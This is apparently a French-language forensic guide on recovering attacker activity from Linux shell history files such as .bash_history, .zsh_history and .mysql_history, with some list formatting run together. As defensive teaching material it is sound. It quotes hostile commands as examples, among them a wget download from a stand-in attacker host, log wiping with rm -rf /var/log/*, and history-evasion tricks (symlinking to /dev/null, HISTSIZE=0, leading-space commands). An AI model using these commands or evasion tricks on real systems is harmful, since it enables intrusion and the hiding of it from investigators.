Par défaut, les systèmes Linux journalisent les commandes de terminal interactives pour offrir un confort d’utilisation (la possibilité de rappeler des commandes précédentes). Dans un contexte d’investigation post-mortem (par exemple, lors de l’analyse d’une image disque montée dans /mnt/analyse/), ces fichiers constituent une véritable mine d’or.
L’artefact se trouve toujours à la racine du répertoire personnel (Home Directory) de l’utilisateur :
/root/.bash_history/home/<username>/.bash_history/var/www/ pour l’utilisateur www-data).Comprendre la manière dont Bash écrit sur le disque est fondamental pour reconstituer une chronologie précise. Bash n’écrit pas dans le fichier .bash_history en temps réel.
.bash_history existant et le charge en mémoire vive (RAM)..bash_history sur le disque que lorsque la session du terminal est fermée proprement (ex: en tapant exit ou lors d’une déconnexion).Lors de l’analyse du fichier .bash_history, les analystes DFIR recherchent des modèles séquentiels spécifiques qui correspondent au framework MITRE ATT&CK.
whoami, id, uname -a, cat /etc/issue, netstat -antp ou ps aux pour comprendre l’environnement cible.wget http://attacker.com/malware, curl -O ou git clone.chmod +x malware), exécution de binaires (./malware), ou décompression d’archives (tar -xvf rootkit.tar).rm -rf /var/log/*), effacement sécurisé de fichiers (shred config.php), ou effacement de l’historique de la session courante (history -c).Les attaquants basculent souvent vers d’autres outils interactifs qui maintiennent leurs propres fichiers d’historique cachés. Les investigateurs doivent minutieusement inspecter les répertoires utilisateurs à la recherche de ces artefacts alternatifs :
Shells alternatifs
Zsh (.zsh_history) : le shell par défaut sur macOS et Kali Linux. Fréquemment trouvé sur les postes de développeurs.
Python (.python_history) : enregistre les commandes du shell Python interactif, souvent utilisé par les attaquants pour générer des reverse shells ou manipuler des données locales.
Applications interactives
Clients de bases de données (.mysql_history, .psql_history) : peuvent révéler des tests d’injection SQL, des requêtes d’exfiltration de données ou des mots de passe en clair.
Éditeurs de texte (.viminfo, .nano_history) : ces artefacts documentent les modifications de fichiers et peuvent même contenir des chaînes de recherche/remplacement utilisées par l’attaquant pour corrompre des fichiers de configuration.
Le fichier .bash_history étant hautement incriminant, il s’agit généralement du premier artefact qu’un attaquant tente de neutraliser.
Une technique courante consiste à supprimer le fichier d’historique et à créer un lien symbolique vers /dev/null. L’exécution de ls -la /root/.bash_history révélera .bash_history -> /dev/null. Par conséquent, aucune commande ne sera jamais écrite sur le disque.
Si la commande export HISTFILESIZE=0 ou export HISTSIZE=0 est injectée dans les fichiers .bashrc ou .profile, le système reçoit l’instruction de ne conserver aucune ligne d’historique.
Par défaut, de nombreuses distributions Linux configurent la variable HISTCONTROL=ignorespace. Cette fonctionnalité native stipule que si un attaquant commence sa commande par un caractère espace (ex: ./malware), la commande contourne entièrement le tampon d’historique. Il s’agit d’une limite majeure de cet artefact.
Pour maximiser la valeur de l’historique du shell, les analystes doivent adopter une approche globale.
root. Si une application web est compromise, le fichier d’historique de l’utilisateur www-data ou jenkins peut contenir les commandes initiales du web shell ou l’exécution du reverse shell.HISTTIMEFORMAT, le fichier .bash_history contiendra des horodatages Unix epoch (précédés d’un #) avant chaque commande, ce qui s’avère inestimable pour la création d’une timeline.auth.log ou secure). Si une connexion SSH provenant d’une IP malveillante survient à 14h00 et se déconnecte à 14h10, le bloc de commandes à la fin du .bash_history correspond très probablement à cette session spécifique.